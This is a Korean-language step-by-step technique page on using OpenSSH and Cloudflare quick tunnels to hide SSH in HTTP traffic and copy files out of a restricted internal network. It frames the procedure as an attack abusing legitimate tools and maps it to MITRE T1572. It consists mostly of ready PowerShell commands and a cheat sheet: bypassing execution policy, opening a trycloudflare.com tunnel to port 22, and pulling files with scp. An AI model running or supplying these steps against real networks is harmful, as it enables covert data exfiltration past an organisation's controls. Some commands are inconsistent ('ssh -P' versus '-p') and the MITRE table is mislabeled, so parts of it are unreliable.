OpenSSH + cloudflare 를 이용한, SSH 터널링¶
전체 과정 요약
모든 공격은 PowerShell에서 수행하며, 취약점이 아닌 합법적인 도구를 악용하는 방법에 해당된다.
- Cloudflare 및 OpenSSH 설치
- OpenSSH 설치 및 사용할 Port 오픈
- Cloudflare 실행 및 Tunnel 생성
- Cloudflare 설치 및 로컬 포트 생성
- SSH를 이용한 생성된 Tunnel 연결
MITRE ATT&CK FrameWork 적용
| ID | Tatics | T |
|---|---|---|
| TA0011 | T1572 | 1 |
1. Remote PC 작업¶
1.1. OpenSSH 서버 다운로드 및 C 드라이브 저장¶
해당 방법을 꼭 사용하지 않아도 됨 (exe, msi 파일로 설치 가능)
OpenSSH 다운로드 및 경로 복사
Invoke-WebRequest https://github.com/PowerShell/Win32-OpenSSH/releases/latest/download/OpenSSH-Win64.zip -OutFile OpenSSH-Win64.zip
OpenSSH 설치
powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1
OpenSSH 실행
#1. sshd 실행 확인
Get-Service sshd
#2. sshd 실행
Start-Service sshd
1.2. Cloudflare 다운로드¶
깃허브에서 cloudflared 다운로드
-Outfile옵션으로 반드시 파일명으로 저장필요 (Invoke 명령어라 지정하지 않으면 생성되지 않음)Invoke-WebRequest https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile cloudflared.exe
cloudflared를 이용한 터널링 생성
- SSH 연결을 위한 오픈한 포트를 HTTP 통신에 담아서 전달하는 과정
- Tunnel을 생성하기 전에 OpenSSH 설치 및 실행 과정 필수적으로 선행되어야 함
.\cloudflared.exe tunnel --url ssh://localhost:22
위 명령어 실행 결과 다음과 같이 서버가 HTTP 서버가 실행되는데, 여기에 출력된 Quick Tunnel을 이용해서 접근할 수 있음
[이미지 추가 예정]
여기까지가 원격지(Remote)에서 실행해야할 구간
2. Local PC 작업¶
2.1. Cloudflare 다운로드 및 연결 실행¶
STEP1. powershell을 이용한 Cloudflare 다운로드
Invoke-WebRequest https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile cloudflared.exe
STEP2. 원격지에서 생성한 터널링 주소로 연결경로 설정
hostname은 RemotePC에서 터널을 생성하면 접근할 수 있는 경로를 출력"Your quick tunnel~"에https://~로 랜덤한 주소 생성
cloudflare로 연결할 수 있도록 포트 바인딩 수행
.\cloudflared.exe access tcp --hostname {랜덤 주소 입력}.trycloudflare.com --url localhost:12345
STEP3. ssh 연결
- 연결 시, 오류가 발생할 경우
Truble shooting [1][2]참고
ssh -P 12345 {username}@localhost
STEP4 . SCP를 이용한 내부 파일 다운로드
scp -P 12345 {username}@localhost:"C:\Users\{username}\path\file_name" {output_path}
cloudflare를 이용하는 이유는 내부망 환경에서 외부로 파일을 반출할 수 없을 경우, SSH 연결을 HTTP 통신에 숨겨서 요청을 전송할 수 있기 때문에 외부와 연결을 통해 파일을 반출할 수 있음
3. CheetSheet¶
-
깃허브에서 cloudflared 다운로드
Invoke-WebRequest https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile cloudflared.exe -
OpenSSH 다운로드 및 설치
Invoke-WebRequest https://github.com/PowerShell/Win32-OpenSSH/releases/latest/download/OpenSSH-Win64.zip -OutFile OpenSSH-Win64.zip #OpenSSH 설치 위치에서 ps1으로 Install powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1 #실행 Start-Service sshd -
cloudflared를 이용한 터널링 생성
- SSH 연결을 위한 22번 포트를 HTTP 통신에 담아서 전달하도록 오픈
.\cloudflared.exe tunnel --url ssh://localhost:22 -
Local에서 cloudflare로 연결
.\cloudflared.exe access tcp --hostname {remote_address}.trycloudflare.com --url localhost:12345 -
ssh 연결
ssh -p 12345 {username}@localhost- 연결 상태에서는
cmd로 실행되기 때문에,powershell사용이 필요할 경우 아래 명령어로 변경
powershell - 연결 상태에서는
-
scp 내부 파일 다운로드
scp -P 12345 {username}@localhost:"C:\Users\{username}\Downloads\filename" .
Truble Shooting¶
[1] SSH에 연결할 때 kex_exchange가 발생하는 경우
- 원격지와 목적지에서 한 구간이 포트가 잘 못 설정되어서 발생하는 오류로 포트설정을 동일하게 구성하면 해결
kex_exchange_identification: read: Connection aborted
[2] Host key verification failed가 발생하는 경우
- 현재 .ssh에 저장된 Key 값이 연결하려는 서버의 정보와 일치하지 않아서 발생하는 오류로 출력되는 결과에서 나오는 경로의 파일 삭제
- 삭제 후, 재연결을 시도하면 .ssh 키를 다시 받아와서 연결하게 됨
Add Correct host key in C:\\Users\\{users}/.ssh/known_hosts
Offending ECDSA key in C:\\Users\\{users}/.ssh/known_hosts